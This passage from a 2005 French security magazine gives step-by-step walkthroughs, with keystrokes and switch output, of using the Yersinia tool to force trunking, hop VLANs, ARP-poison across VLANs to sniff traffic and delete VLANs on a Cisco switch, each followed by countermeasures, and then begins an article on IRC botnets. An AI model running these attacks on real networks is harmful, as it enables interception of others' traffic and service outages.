Qu'est-ce qu'une agrgation ?) en-
tre les commutateurs de la couche
deux. Les paquets DTP ont en g-
nral la valeur 01:00:0C:CC:CC:CC
comme la destination MAC et une
trame IEEE 802.3 incluant un en-
tte 802.2 SNAP (voir la Figure 6).
Figure 6. Structure d'un paquet DTP
Qu'est-ce qu'une
agrgation ?
Dans les systmes tlphoniques une
agrgation est une ligne, capable de
transporter plus d'une voix ou d'une
chane de donnes simultanment en-
tre deux inter-changements. Pour parler
en termes de rseau, une agrgation
peut tre tablie entre deux commuta-
teurs. Il est ainsi possible d'envoyer du
trafc VLAN multiple l'aide du mme
lien physique (multiplexage).
Figure 7. Structure interne de DTP (les en-ttes Ethernet exclus)
Listing 6. Statut de VLAN avant l'attaque
zipi# sh vlan
VLAN Name Status Ports
---- ----------------------------- --------- -------------------------------
1 default active Fa0/1, Fa0/2, Fa0/3, Fa0/4
Fa0/5, Fa0/6, Fa0/7, Fa0/8
Fa0/9, Fa0/14, Fa0/15, Fa0/16
Fa0/17, Fa0/18, Fa0/19, Fa0/24
Gi0/1, Gi0/2
100 Offce active Fa0/10, Fa0/11, Fa0/12, Fa0/13
200 Internet active Fa0/20, Fa0/21, Fa0/22, Fa0/23
hakin9 N 6/2005 www.hakin9.org
Focus
30
Ce protocole est disponible dans la
plupart des commutateurs de Cisco,
l'exception des modles XL.
DTP est dsactiv par dfaut
par les priphriques de Cisco,
prts ngocier dans tout port de
commutateurs. Il est cependant
ncessaire de savoir comment
ngocier DTP afn d'tablir une
agrgation. La spcifcation DTP
est la proprit de Cisco (n'est pas
publique), ce qui le rend plus diff-
cile. Par consquent, les auteurs
de cet article ont t obligs d'uti-
liser l'ingnierie inverse (reversing)
du trafc entre deux commutateurs
qui confgurent une agrgation afn
de dcouvrir quel est le format de
DTP.
DTP ngocie aussi bien l'ac-
tivation de l'agrgation que le
type d'encapsulation utilis pour
envoyer et recevoir du trafc via un
port donn. L'encapsulation la plus
rpandu est IEEE 802.1Q (support
par la plupart des commutateurs
de Cisco). Sa spcifcation est un
standard public. D'un autre ct,
il est galement possible d'utiliser
ISL. C'est un protocole propritaire
de Cisco support uniquement
par les priphriques high-end de
Cisco. La raison principale pour uti-
liser l'encapsulation est la mise en
balises des paquets l'aide de leur
propre balise VLAN. Cette dmar-
che aide les commutateurs savoir
o envoyer le paquet.
Attaques
DTP ne se sert d'aucune authenti-
fcation du transmetteur et, comme
il a t dj mentionn, il est dsac-
tiv par dfaut sur tous les ports.
La seule condition : tes-vous capa-
bles de ngocier DTP ? Si c'est le
cas, vous accdez aux autres VLAN.
Afn d'apprendre comment ngocier
DTP, il est d'abord ncessaire de
connatre le format de paquet DTP
(voir la Figure 7) :
Domain (32 octets) : chane AS-
CII identique au domaine VTP
confgur,
Status (1 octet) : affche le sta-
tut de port : on, off, desirable
or auto; par dfaut : desirable
vous pouvez commencer
ngocier DTP,
Type (1 octet) : type d'encapsu-
lation support : ISL, 802.1Q,
negotiated (ISL ou 802.1Q) ou
native,
Neighbor-ID (6 octets) : identife
le priphrique qui envoie le pa-
quet ; en gnral, il s'agit de la
MAC adresse du port.
La premire tape de la ngociation
DTP dans les priphriques Cisco
consiste envoyer trois paquets, un
par seconde, reprsentant le statut
Listing 7. Statut du port DTP depuis la console de commutateur
zipi# sh dtp int Fa0/10
DTP information for FastEthernet0/10:
TOS/TAS/TNS: ACCESS/DESIRABLE/ACCESS
TOT/TAT/TNT: NATIVE/802.1Q/802.1Q
Neighbor address 1: 000000000000
Neighbor address 2: 000000000000
Listing 8. Statut de port avant l'attaque
zipi# sh dtp int fa0/10
DTP information for FastEthernet0/10:
TOS/TAS/TNS: TRUNK/DESIRABLE/TRUNK
TOT/TAT/TNT: 802.1Q/802.1Q/802.1Q
Neighbor address 1: 666666666666
Neighbor address 2: 000000000000
Listing 9. Ports VLAN assigns avant l'attaque
zipi# sh vlan
VLAN Name Status Ports
---- ----------------------------- --------- -------------------------------
1 default active Fa0/1, Fa0/2, Fa0/3, Fa0/4
Fa0/5, Fa0/6, Fa0/7, Fa0/8
Fa0/9, Fa0/14, Fa0/15, Fa0/16
Fa0/17, Fa0/18, Fa0/19, Fa0/24
Gi0/1, Gi0/2
100 Offce active Fa0/11, Fa0/12, Fa0/13
200 Internet active Fa0/20, Fa0/21, Fa0/22, Fa0/23
Figure 8. Rsultats de l'attaque DTP
Attaques de la couche deux du modle OSI
hakin9 N 6/2005 www.hakin9.org 31
agrg et le type d'encapsulation
exig. Ensuite, un paquet DTP est
envoy toutes les 30 secondes.
Yersinia implmente ce comporte-
ment comme un responsable de fl
de la tche. D'un autre ct, il est
ncessaire de contrler le statut de
chaque priphrique afn de modifer
votre statut en cas de besoin. Cette
dmarche est termine au moyen
d'une boucle recevant des paquets
DTP. Aprs plusieurs vrifcations,
Yersinia change son statut DTP en
fonction du priphrique.
Faites attention
Regardez comment se passe une at-
taque effectue sur un commutateur
Catalyst 2950T avec IOS 12.1(22)
EA3. Le priphrique est confgur
pour avoir un nom d'hte zipi et deux
VLAN : Offce (ports Fa0/10, Fa0/11,
Fa0/12 et Fa0/13) et Internet (ports
Fa0/20, Fa0/21, Fa0/22 et Fa0/23).
Le domaine VTP a t chang en
Yersinia. Tous les autres param-
tres restent inchangs. Le Listing 6
prsente le statut de VLAN avant
l'attaque.
En mode graphique de Yersinia,
slectionnez l'cran du protocole
DTP. S'il y a un DTP dans votre r-
seau, vous verrez les donnes DTP
en 30 secondes environ. Vous pou-
vez galement jeter un coup d'il
sur le statut du port DTP depuis la
console de commutateur : votre port
est Fa0/10 et le statut reste par d-
faut (voir le Listing 7).
Il est ncessaire de remplir
les champs en bas de la fentre
avec les valeurs par dfaut en
appuyant sur [d]. Ensuite, [e] vous
permettra de modifer le champ
Neighbor-ID et de taper la valeur
666666666666. Afn de fnir l'di-
Listing 10. Paquet ICMP Echo Request de Yersinia dcod l'aide de Ethereal
Ethernet II, Src: 66:66:66:66:66:66, Dst: ff:ff:ff:ff:ff:ff
Destination: ff:ff:ff:ff:ff:ff (ff:ff:ff:ff:ff:ff)
Source: 66:66:66:66:66:66 (66:66:66:66:66:66)
Type: 802.1Q Virtual LAN (0x8100)
802.1q Virtual LAN
111. .... .... .... = Priority: 7
...0 .... .... .... = CFI: 0
.... 0000 0001 0000 = ID: 16
Type: 802.1Q Virtual LAN (0x8100)
802.1q Virtual LAN
111. .... .... .... = Priority: 7
...0 .... .... .... = CFI: 0
.... 0000 0000 0001 = ID: 1
Type: IP (0x0800)
Internet Protocol, Src Addr: 10.0.0.1 (10.0.0.1), Dst Addr: 255.255.255.255 (255.255.255.255)
Protocol: ICMP (0x01)
Source: 10.0.0.1 (10.0.0.1)
Destination: 255.255.255.255 (255.255.255.255)
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Checksum: 0xb953 (correct)
Identifer: 0x0042
Sequence number: 00:42
Data (8 bytes)
0000 59 45 52 53 49 4e 49 41 YERSINIA
Figure 9. Champs ajouts par 802.1Q au cadre Ethernet_II
Listing 11. Paramtres VLAN utiliss pour une attaque
zipi# sh vlan
VLAN Name Status Ports
---- ----------------------------- --------- -------------------------------
1 default active Fa0/1, Fa0/2, Fa0/3, Fa0/4
Fa0/5, Fa0/6, Fa0/7, Fa0/8
Fa0/9, Fa0/14, Fa0/15, Fa0/16
Fa0/17, Fa0/18, Fa0/19, Fa0/24
Gi0/1, Gi0/2
100 Offce active Fa0/10, Fa0/11, Fa0/12, Fa0/13
200 Internet active Fa0/20, Fa0/21, Fa0/22, Fa0/23
hakin9 N 6/2005 www.hakin9.org
Focus
32
tion, il est ncessaire d'appuyer sur
[return].
prsent, passez la fentre de
l'attaque DTP l'aide de [x] et slec-
tionnez l'attaque enabling trunking.
Le statut du port DTP changera en
TRUNKING et Neighbor address 1
contiendra votre identifant (voir
le Listing 8). Si, en plus, vous re-
gardez les ports VLAN assigns,
vous verrez que votre port Fa0/10
ne se trouve plus sur la liste VLAN
(voir le Listing 9). Dans la fentre
principale de Yersinia, vous verrez
de nouveaux paquets ; les paquets
crs par Yersinia ont Neighbor-ID
666666666666 (voir la Figure 8).
Dsormais, vous serez capable
d'effectuer les attaques contre les
protocoles 802.1Q et VTP. Ce qui est
plus important, il sera possible de
fonctionner comme n'importe quel
commutateur valide, ce qui permet
de renifer le trafc VLAN (depuis
d'autres VLAN que celui auquel vous
tes connects).
Contre-mesures
La seule contre mesure fable
contre les attaques DTP consiste
dsactiver l'auto-agrgation via la
commande : switchport mode access.
L'administrateur est alors oblig
d'activer l'agrgation manuellement
(dans la confguration de commu-
tateur) pour confgurer chaque nou-
velle agrgation.
IEEE 802.1Q
Le protocole IEEE 802.1Q est une
spcifcation publique. Il dcrit le
format utilis par les paquets via les
liens agrgs. Vu la nature ouverte
de la spcifcation, ce standard est
prsent accept par la plupart des
fabricants et il arrive souvent d'tablir
des agrgations entre les commuta-
teurs de diffrents vendeurs. Ce
n'est pas toutefois le seul standard.
De nombreux fabricants ont leurs
propres solutions. titre d'exemple,
Cisco se sert aussi de son propre
protocole propritaire ISL (Inter-
Switch Link).
Lorsqu'un commutateur reoit
une trame, il ajoute une balise
802.1Q (4 octets), recalcule le FCS
(Frame Check Sequence) et envoie
le cadre original avec les modifca-
tions au lien agrg. La Figure 9
prsente les champs ajouts par
802.1Q la trame Ethernet_II. Le
champ VID identife le VLAN auquel
appartient le paquet. Cette valeur
d'identifant peut avoir comme plage
0 4096. En thorie, si vous tablis-
sez un lien agrg et si le commuta-
teur supporte 802.1Q, vous pouvez
alors envoyer des paquets aux VLAN
diffrents.
Attaques
Afn d'utiliser 802.1Q, il est obliga-
toire d'tablir une agrgation. Dans
la section prcdente, vous avez vu
comment activer l'agrgation avec
DTP et spcifer en plus que l'en-
capsulation doit tre fait au moyen
de 802.1Q. Supposez alors que le
lien agrg a t tabli dans un port
correspondant.
Les attaques contre 802.1Q peu-
vent tre divises en deux classes :
Envoi de trames 802.1Q aux
VLAN qui n'appartiennent pas
l'attaquant,
Utilisation des trames double-
ment empaquetes 802.1Q ce
type d'attaque ajoute deux bali-
ses la trame originale dans le
but d'utiliser le VLAN depuis la
seconde balise comme la des-
tination lorsque le commutateur
supprime la premire balise.
Faites attention
Essayez dans un premier temps
d'envoyer des trames 802.1Q dou-
blement empaquetes avec Yersi-
nia. Vous remplissez les champs
l'cran 802.1Q avec des valeurs
par dfaut (touche [d]) et vous pas-
sez en mode d'diteur (touche [e]).
Maintenant, modifez la valeur
Source MAC en 66:66:66:66:66:66,
ensuite, modifez la valeur VLAN
en 16 et la valeur VLAN2 en 1. Fi-
nalement, quittez le mode d'diteur
([return]). prsent, passez la fe-
ntre d'attaque l'aide de [x] et s-
lectionnez l'attaque sending 802.1Q
double enc. packet.
Yersinia se sert de 802.1Q pour
envoyer les paquets ICMP Echo Re-
quest avec la charge utile (payload)
YERSINIA. Le Listing 10 prsente le
paquet dcod l'aide de Ethereal
(certains champs ont t supprims
pour avoir plus de clart). Vous
pouvez voir que une trame 802 a
t envoye.1Q doublement empa-
quete : tout d'abord, avec VLAN et
ensuite, avec VLAN 1.
Cette attaque dmontre tout
simplement qu'il est possible de
placer le trafc dans d'autres VLAN
(ce qui porte le nom de VLAN-hop-
Figure 10. Plan du rseau pour 802.1Q
Attaques de la couche deux du modle OSI
hakin9 N 6/2005 www.hakin9.org 33
ping). Des attaques plus avances
peuvent toutefois tre effectues,
telle que Man-in-the-Middle. Dans
les versions futures de Yersinia,
ces attaques pourront tre impl-
mentes.
Pour effectuer la prochaine
attaque, vous aurez besoin d'une
confguration plus complexe. Sup-
posez que vous disposez d'un
commutateur appel zipi avec
IOS 12.1(22) EA3 et deux VLAN :
Offce (ports Fa0/10, Fa0/11, Fa0/
12 et Fa0/13) et Internet (Fa0/20,
Fa0/21, Fa0/22 et Fa0/23) (voir le
Listing 11). Le domaine VTP a t
modif en Yersinia. Les autres
variables de confguration sont lais-
ses inchanges.
La Figure 10 prsente la structure
du rseau. Le priphrique de l'intrus
est connect au VLAN 100 (Offce)
au port Fa0/10. Il y a un ordinateur
quip de Windows dont l'adresse IP
est la suivante 10.13.58.128 et qui est
connect au VLAN 200 (Internet).
Comme vous pouvez le remarquer
sur la Figure 10, les priphriques du
VLAN Internet sont dots d'un accs
Internet via un routeur dont l'adres-
se IP est la suivante 10.13.58.253 ;
le VLAN Offce n'a aucun accs
Internet.
Vous essayez d'accder au trafc
de l'ordinateur, quip de Windows,
plac dans le VLAN Internet. Pour
cette raison, vous allez opter pour
l'attaque appele sending 802.1Q
arp poisoning. Bien videmment,
il est ncessaire dans un premier
temps d'tablir et de ngocier un lien
agrg, comme dcrit dans le chapi-
tre prcdent. Avant de commencer
l'attaque, il est galement nces-
saire de vrifer que l'entre ARP
pour 10.13.58.253 (routeur Internet)
dans la table ARP de Windows
(10.13.58.128) est une vraie MAC
adresse du routeur.
prsent, slectionnez l'cran
802.1Q. Vous verrez probablement
des paquets dirigs vers des MAC
adresses en diffusion ou multi-
diffusion. Ce type de paquets est
envoy tous les ports appartenant
au mme VLAN (dans notre cas :
200, Internet VLAN) et, en plus,
tous les ports dont l'agrgation
a t ngocie (comme c'est le cas
de votre port). Remplissez mainte-
nant les champs avec les valeurs
par dfaut et passez au mode di-
tion afn de modifer Source MAC
en 66:66:66:66:66:66. Ensuite,
passez aux fentres d'attaque et
slectionnez l'attaque sending
802.1Q arp poisoning. Cette atta-
que ncessitera plusieurs param-
tres ; vous verrez donc s'affcher
une nouvelle bote de dialogue
dote des champs suivants :
IP to poison : c'est l'adresse IP
que vous voulez remplacer ; dans
votre cas, c'est : 10.13.58.253
(routeur Internet),
IP VLAN : identifant du VLAN
auquel vous voulez envoyer des
paquets, dans votre cas : 200
(VLAN Internet),
ARP IP Source : cette adresse
IP sera employe pour deviner
la MAC adresse du routeur Inter-
net ; l'adresse IP doit se trouver
dans le mme VLAN que IP to
poison mais elle ne doit pas tre
signe ; utilisez 10.13.58.66.
Maintenant, il est possible d'ef-
fectuer l'attaque. Si tout se passe
bien, vous verrez la MAC adresse
66:66:66:66:66:66 dans la table
ARP de l'ordinateur quip de Win-
dows (10.13.58.128) et la fentre
principale de Yersinia contiendra
davantage de donnes (voir la Fi-
gure 11).
Maintenant, essayez de com-
prendre ce que fait exactement
Yersinia :
il cherche la MAC adresse du
routeur Internet au moyen de
paquets ARP modifs,
une fois la MAC adresse du rou-
teur Internet connue, on lance
un fl qui envoie une ARP reply
par seconde. Cette dmarche
empoisonnera la table ARP de
Windows avec une MAC adresse
fausse pour table l'adresse IP
10.13.58.253 (routeur Internet) :
66:66:66:66:66:66.
Yersinia peut prsent recevoir des
donnes envoyes par l'ordinateur
quip de Windows (10.13.58.128)
Internet, ensuite, les rcrire et les
Figure 11. Rsultats d'attaque 802.1Q
Qu'est-ce qu'un domai-
ne VTP ?
Le domaine VTP est une chane ASCII
partage par tous les commutateurs,
appartenant au mme groupe ou la
mme unit. Cette chane se trouve
dans tous les paquets VTP. Ce do-
maine se trouve en plus dans certains
champs CDP ; mme le domaine DTP
est la mme chane.
hakin9 N 6/2005 www.hakin9.org
Focus
34
renvoyer la source VLAN (Internet
VLAN, ID 200) et les diriger une
vraie MAC adresse du routeur In-
ternet (10.13.58.253). Maintenant, si
vous voulez enregistrer les donnes
du rseau, il sufft d'appuyer sur la
touche [s]. Les donnes seront en-
registres au format pcap. Esprez
que le propritaire de l'ordinateur
n'emploie pas des mots de passe
non crypts.
Contre-mesures
Les contre-mesures pour les atta-
ques IEEE 802.1Q sont les mmes
que pour les attaques DTP. Il faut
dsactiver l'auto-agrgation.
VTP (VLAN Trunking
Protocol)
VTP est un protocole propritaire de
Cisco utilis pour la gestion centra-
lise de VLAN. titre d'exemple, si
un VLAN est confgur dans un com-
mutateur, les informations lies (nom
et identifant de VLAN) peuvent tre
confgures automatiquement dans
tous les commutateurs appartenant
au mme domaine VTP (reportez-
vous l'Encadr Qu'est-ce qu'un
domaine VTP ?). Les paquets VTP
sont envoys la MAC adresse en
multi-diffusion 01:00:0C:CC:CC:CC
avec une trame IEEE 802.3,
y compris un en-tte 802.2 SNAP
(voir la Figure 12).
Il existe quatre types des paquets
VTP :
Summary advertisement SUM-
MARY. Similaire Hello. Il est
envoy toutes les 5 minutes,
Advertisement request RE-
QUEST. Utilis pour demander
de l'information,
Subset advertisement SUB-
SET. Paquet de donnes avec
des descriptions de VLAN,
Join JOIN.
Attaques
Bien que VTP permette d'utiliser des
mots de passe, il n'est pas activ par
dfaut. Cependant, une fonction de
hachage MD5 sera toujours prsen-
te dans un paquet SUMMARY. Cette
fonction MD5 est calcule avec la
confguration VLAN, le mot de passe
(si les mots de passe sont utiliss)
et d'autres champs.
Par dfaut, un paquet VTP SUM-
MARY est envoy toutes les 5 minu-
tes. Si vous prenez en considration
le fait que les attaques VTP ncessi-
tent plusieurs donnes reues de ce
type de paquet, l'attaque peut durer
un certain temps mais jamais plus de
5 minutes.
Yersinia implmente plusieurs at-
taques VTP. Jetez un coup d'il sur
deux attaques principales : ajout d'un
VLAN et suppression d'un VLAN. Afn
d'effectuer ces attaques, il est nces-
saire de raliser ces tapes :
obtenir des donnes VTP utiles ;
la meilleure faon de le faire
consiste attendre un paquet
SUMMARY,
envoyer un paquet REQUEST
afn d'obtenir des VLAN cou-
rants,
modifer les VLAN connus de
l'tape prcdente,
envoyer la nouvelle confguration
VLAN au moyen des paquets
SUMMARY et SUBSET.
Figure 12. Structure d'un paquet VTP
Listing 12. Attaque russie de suppression de VLAN
zipi# sh vlan
VLAN Name Status Ports
---- ----------------------------- --------- -------------------------------
1 default active Fa0/1, Fa0/2, Fa0/3, Fa0/4
Fa0/5, Fa0/6, Fa0/7, Fa0/8
Fa0/9, Fa0/14, Fa0/15, Fa0/16
Fa0/17, Fa0/18, Fa0/19, Fa0/24
Gi0/1, Gi0/2
100 Offce active Fa0/10, Fa0/11, Fa0/12, Fa0/13
Figure 13. Rsultats de l'attaque VTP
Attaques de la couche deux du modle OSI
hakin9 N 6/2005 www.hakin9.org 35
Faites attention
La confguration de l'exemple d'at-
taque est la mme que dans le
chapitre prcdent : deux VLAN :
Offce (ID 100) et Internet (ID 200).
L'objectif principal de l'attaque con-
siste supprimer le VLAN Internet
(ID 200). Yersinia se trouve dans le
port Fa0/13.
Passez prsent l'cran VTP,
remplissez les champs avec des va-
leurs par dfaut et effectuez l'attaque
deleting one vlan. Yersinia demandera
l'identifant VLAN supprimer. Dans
votre cas, l'identifant est 200. Dans
plusieurs minutes, la fentre princi-
pale de Yersinia ressemblera celle
que vous voyez dans la Figure 13.
Si l'attaque russit, vous ne pourrez
plus voir VLAN 200 dans la console
du commutateur (voir le Listing 12).
Les consquences de la sup-
pression d'un VLAN peuvent tre
varies. Les tests dmontrent que
tous les priphriques connects
au port appartenant au VLAN sup-
prim sont dconnects. On vous
encourage effectuer l'exprience
suivante. Essayez de confgurer
l'ordinateur pour qu'il ping un hte
dans le mme VLAN (par exemple,
une passerelle par dfaut). Ensuite,
supprimez ce VLAN. Vous remar-
querez que le ping ne reoit aucun
paquet de rponse. Cependant, si
vous rajoutez le VLAN (en utilisant,
bien videmment, Yersinia), le ping
recommencera fonctionner.
Contre-mesures
La contre-mesure la plus effcace
consiste dsactiver l'auto-agr-
gation, comme dans deux chapitres
prcdents. Dans le cas prsent,
vous pouvez toutefois employer
aussi un mot de passe VTP pour
protger votre rseau contre ce type
d'attaques.
Conclusion
Vous avez jet un coup d'il sur
plusieurs protocoles de la couche
deux et sur la majorit des attaques
courantes. Les exemples dmon-
trent clairement que la couche
deux peut se trouver l'origine des
problmes srieux si vous ne tenez
pas compte des risques lors de la
confguration de votre rseau. La
plupart des protocoles sont vuln-
rables : rservez-lui une attention
toute particulire quand vous les
grez et administrez. l
Sur Internet
http://yersinia.sourceforge.net/ site offciel de Yersinia,
http://www.blackhat.com/presentations/bh-usa-02/bh-us-02-convery-
switches.pdf prsentation de Sean Convery concernant les attaques de la
couche deux.
Spanning Tree Protocol
http://www.javvin.com/protocolSTP.html concerne Spanning Tree Protocol,
http://www.cisco.com/univercd/cc/td/doc/product/lan/trsrb/frames.htm#xtocid61
format de paquet de BPDU,
http://www.cisco.com/warp/public/473/146.html article Understanding Rapid
Spanning Tree Protocol (802.1w),
http://www.cisco.com/warp/public/473/17.html article Understanding Spanning-
Tree Protocol Topology Changes,
http://www.cisco.com/warp/public/473/65.html article sur Spanning Tree Port-
fast BPDU Guard Enhancement,
http://www.cisco.com/warp/public/473/74.html article sur Spanning Tree Proto-
col Root Guard Enhancement.
Cisco Discovery Protocol
http://www.cisco.com/univercd/cc/td/doc/product/lan/trsrb/frames.htm#xtocid12
format de paquet CDP,
http://www.phenoelit.de/stuff/CiscoCDP.txt conseils de Phenoelit sur les vuln-
rabilits de IOS CDP.
Dynamic Trunking Protocol
http://www.netcraftsmen.net/welcher/papers/switchvtp.html article Switching:
Trunks and Dynamic Trunking Protocol (DTP).
IEEE 802.1Q
http://standards.ieee.org/getieee802/download/802.1Q-2003.pdf standard IEEE
802.1Q au format PDF.
VLAN Trunking Protocol
http://www.cisco.com/univercd/cc/td/doc/product/lan/trsrb/frames.htm#xtocid31
format de trame VTP.
propos des auteurs
Alfredo Andrs travaille depuis plusieurs annes dans le domaine de la scurit
et participe la communaut Open Source en dveloppant des outils et des
correctifs. Alfredo travaille galement pour S21sec ; il y est charg d'un groupe
de pen-testing.
David Barroso se spcialise dans les incidents de rponses et dans la scurit
de rseau. Il travaille actuellement pour une socit espagnole de scurit, S21sec.
Il participe aussi activement la communaut globale de scurit, il crit des articles
et dveloppe de nouveaux outils de scurit.
Les deux auteurs ont prsent Yersinia pendant BlackHat Europe 2005. Une
attaque zro-jour de Cisco (zero-day) y a t galement prsente ; elle est lie un
des protocoles cibls par Yersinia (Cisco a t bien videmment remarqu) et a t
dcouverte lors du dveloppement de l'outil.
www.hakin9.org hakin9 N 6/2005 36
Pratique
L
a fn des annes 90 et ce nouveau
millnaire ont vu natre une nouvelle
stratgie d'attaques diriges contre
les systmes en rseaux. Cette stratgie est
mieux connue sous le nom de Distributed
Denial of Services (DDoS). De nombreuses
socits informatiques ont malheureusement
fait l'exprience de ces attaques, qui se r-
pandent facilement, principalement grce
leur simplicit de conception et la diffcult
de pister les parties impliques. Ce type d'at-
taques, malgr l'tendue de vos expriences
et de vos connaissances, reprsente encore
aujourd'hui une relle menace, et donne tou-
jours l'avantage aux pirates. Vous allez tu-
dier de plus prs ces attaques et le fruit de
leur volution : les attaques par rseaux de
zombies.
Introduction aux robots et
aux rseaux d'ordinateurs
zombies
Le terme anglais bot est une abrviation du mot
robot. Les robots (programmes automatiss,
qui n'ont rien avoir avec les robots comme
Marvin, l'androde paranoaque) sont en rgle
gnrale utiliss dans le domaine d'Internet.
Les Spiders, utiliss par les moteurs de re-
cherche afn de mapper les sites Web et les
logiciels rpondant aux requtes sur le proto-
cole IRC (tels que eggdrop) sont des robots.
La guerre des robots, ou
comment fonctionnent
les rseaux d'ordinateurs
zombies
Massimiliano Romano, Simone Rosignoli, Ennio Giannini
Degr de diffcult
Une des techniques les plus rpandues et les plus effcaces des
attaques dites DDoS consiste utiliser des centaines d'ordinateurs
zombies htes, contrls et grs via des rseaux IRC. Le prsent
article a pour objectif de prsenter les mthodes qu'un pirate peut
utiliser afn de contaminer et de prendre le contrle d'un ordinateur
cible, puis de dterminer comment appliquer des contre-mesures
effcaces afn de protger vos ordinateurs de cette menace.
Cet article explique...
La nature des robots, des rseaux de zombies
et leur fonctionnement,
les fonctionnalits les plus utilises proposes
par les robots,
la faon dont un hte est contamin puis con-
trl,
les mesures prventives disponibles et les pro-
tections possibles contre les infestations par
robot.
Ce qu'il faut savoir...
Le fonctionnement des programmes mal-
veillants (chevaux de Troie et vers, plus particu-
lirement),
les mcanismes utiliss par les attaques
DDoS,
les bases relatives aux protocoles TCP/IP,
DNS et IRC.
Guerre des robots
hakin9 N 6/2005 www.hakin9.org 37
Les programmes qui rpondent de
manire autonome des vne-
ments externes particuliers sont ga-
lement des robots. Le prsent article
a pour objectif de dcrire un genre
particulier de robot, ou bot en an-
glais, dnomm robot IRC. Ce robot
a recours des rseaux IRC en tant
que canal de communication afn de
recevoir les commandes provenant
d'un utilisateur distant. Dans ce cas
de fgure particulier, il se trouve que
l'utilisateur est un pirate et le robot en
question un cheval de Troie. Un bon
programmeur peut facilement crer
son propre robot, ou personnaliser
un robot dj existant. Ce qui lui per-
mettra de dissimuler son robot aux
systmes de scurit basiques, et le
rpandre facilement.
De tels robots prsentent une
fonctionnalit importante, savoir
leur capacit contaminer rapide-
ment les autres ordinateurs. Une
planifcation dtaille des proces-
sus d'infection permet d'atteindre
de meilleurs rsultats en un temps
record (plus d'htes fragiliss). Un
nombre n de robots connects sur
un seul et unique canal dans l'attente
de commandes constitue un rseau
de zombies.
Rcemment, les rseaux de
zombies taient contrls grce
l'utilisation d'outils appropris,
dvelopps intentionnellement par
les pirates eux-mmes. Puis l'ex-
prience a conduit mener de
nouveaux essais au moyen de
mthodes de contrle distance.
Le protocole IRC est ainsi consi-
dr comme la meilleure faon de
lancer des attaques, en raison de
sa fexibilit, de son utilisation facile
et surtout parce que les serveurs
publics peuvent tre utiliss comme
un moyen de communication (voir
la partie intitule protocole IRC).
Le protocole IRC propose une m-
thode simple permettant de contr-
ler des centaines, voire mme des
milliers, de robots en une seule fois
de faon extrmement fexible. Ce
protocole permet galement aux
pirates de dissimuler leur identit
au moyen de piges relativement
simples comme la mystifcation de
serveurs mandataires anonymes
ou de simples adresses IP. Grce
ce protocole, les administrateurs
de serveurs ont peu de chance de
remonter l'origine d'une attaque
contrle de cette manire.
Dans la plupart des cas, les
robots contaminent les PC utili-
sateur unique, les serveurs d'uni-
versit ou les rseaux de petites
socits, car ces machines ne font
pas l'objet d'un contrle strict,
et sont souvent laisses sans
protection, en partie par manque
de vritable politique de scurit,
ou gnralement par absence de
sensibilisation auprs des utilisa-
teurs de PC avec connexion ADSL
des risques qu'ils encourent, et par
manque d'utilisation de logiciels de
protection tels que des anti-virus ou
des pare-feux personnels.
Les attaques distribues DoS ou attaques DDoS
Une attaque DDoS est une variante d'attaque dite Flooding DoS ou inondation par
DoS ; cette attaque a pour objectif de saturer un rseau cible, en utilisant toute
la largeur de bande passante disponible. Cela tant dit, et en supposant qu'une
personne malveillante dispose d'une largeur de bande considrable et disponible
afn de saturer le site cibl, il est vident que la meilleure faon de lancer ce genre
d'attaque consiste contrler de nombreux htes diffrents. En effet, chaque hte
introduit sa propre largeur de bande (par exemple les utilisateurs de PC en ADSL),
que les pirates utilisent en une seule fois, distribuant de la sorte l'attaque sur le site
vis. Une des attaques les plus rpandues, ralise au moyen du protocole TCP
(protocole de connexion oriente), est appele attaque par inondation de requtes
syn sur TCP (TCP syn fooding). Celle-ci consiste envoyer un grand nombre de
requtes de connexions TCP vers le mme serveur Web (ou vers tout autre type
de service), afn de surcharger les ressources du serveur en question et donc de
crer une situation de saturation, qui empche les autres utilisateurs d'ouvrir leur
propre connexion. C'est d'une simplicit redoutablement effcace ! Il est possible
de raliser le mme type d'attaque au moyen du protocole UDP (protocole sans
connexion).
Des pirates ont pass un temps considrable et consacr tous leurs efforts am-
liorer de telles attaques. C'est la raison pour laquelle aujourd'hui, vous devez faire face
des techniques de plus en plus sophistiques, diffrentes des attaques DDoS tradi-
tionnelles. Ces attaques d'un nouveau genre permettent aux utilisateurs malveillants
de contrler un grand nombre d'ordinateurs htes dits zombies partir d'un poste de
travail distance, en ayant recours, par exemple, au protocole IRC.
Protocole IRC (Internet Relay Chat)
IRC est l'acronyme d'un nom anglais Internet Relay Chat. Il s'agit d'un protocole conu
pour les communications de chat en temps rel par relais Internet (consulter la rf-
rence RFC 1459, mise jour RFC 2810, 2811, 2812, 2813), bas sur une architecture
client-serveur. La grande majorit des serveurs IRC permet un accs libre tout un
chacun. L' IRC est un protocole de rseau ouvert bas lui-mme sur le protocole TCP
(Transmission Control Protocol), et parfois amlior au moyen du protocole SSL (Se-
cure Sockets Layer).
Un serveur IRC se connecte d'autres serveurs IRC au sein du mme rseau.
Les utilisateurs de ce protocole IRC peuvent la fois communiquer en public (sur les
canaux du mme nom) ou en priv (communication un un). Il existe deux niveaux
de base d'accs aux canaux IRC : utilisateurs et oprateurs. Un utilisateur qui va crer
un canal devient son oprateur. Un oprateur dispose de plus de privilges (selon les
modes dtermins par l'oprateur initial) qu'un utilisateur normal.
Les robots IRC sont traits l'instar d'utilisateurs rguliers (ou oprateurs). Il s'agit
de processus dmons, capables d'excuter un certain nombre d'oprations automati-
ses. Ces robots sont en rgle gnrale contrls par l'envoi de commandes vers un
canal cr par un pirate, infest de robots. Bien videmment, il faut, pour administrer
des robots, une authentifcation ainsi qu'une autorisation, de sorte que seul le propri-
taire puisse les utiliser.
hakin9 N 6/2005 www.hakin9.org
Pratique
38
Les robots et leurs
applications
Les utilisations possibles d'un hte
fragilis ne dpendent ensuite que
de l'imagination et des comptences
du pirate. On va aborder ici les plus
rpandues.
Attaques DDoS
Les rseaux de zombies sont sou-
vent utiliss pour les attaques dites
Distributed Denial of Service (ou
attaques distribues par Dni de
Service). Un pirate a la possibilit
de contrler un nombre considra-
ble d'htes compromis partir d'un
poste de travail distant, en exploi-
tant leur largeur de bande passante
et en envoyant des requtes de
connexion vers l'hte cible. De
nombreux rseaux ont t affects
par de telles attaques, et dans cer-
tains cas de fgure, les coupables
ont pu tre retrouvs dans des so-
cits concurrentes (comme ce fut
le cas lors de la guerre des socits
dotcom).
Spamming ou multipostage
abusif
Les rseaux de zombies reprsentent
le moyen idal pour le multipostage
abusif. Ils pourraient tre utiliss,
et le sont, la fois pour changer des
adresses e-mail regroupes et pour
contrler les envois de spams de
la mme manire que les attaques
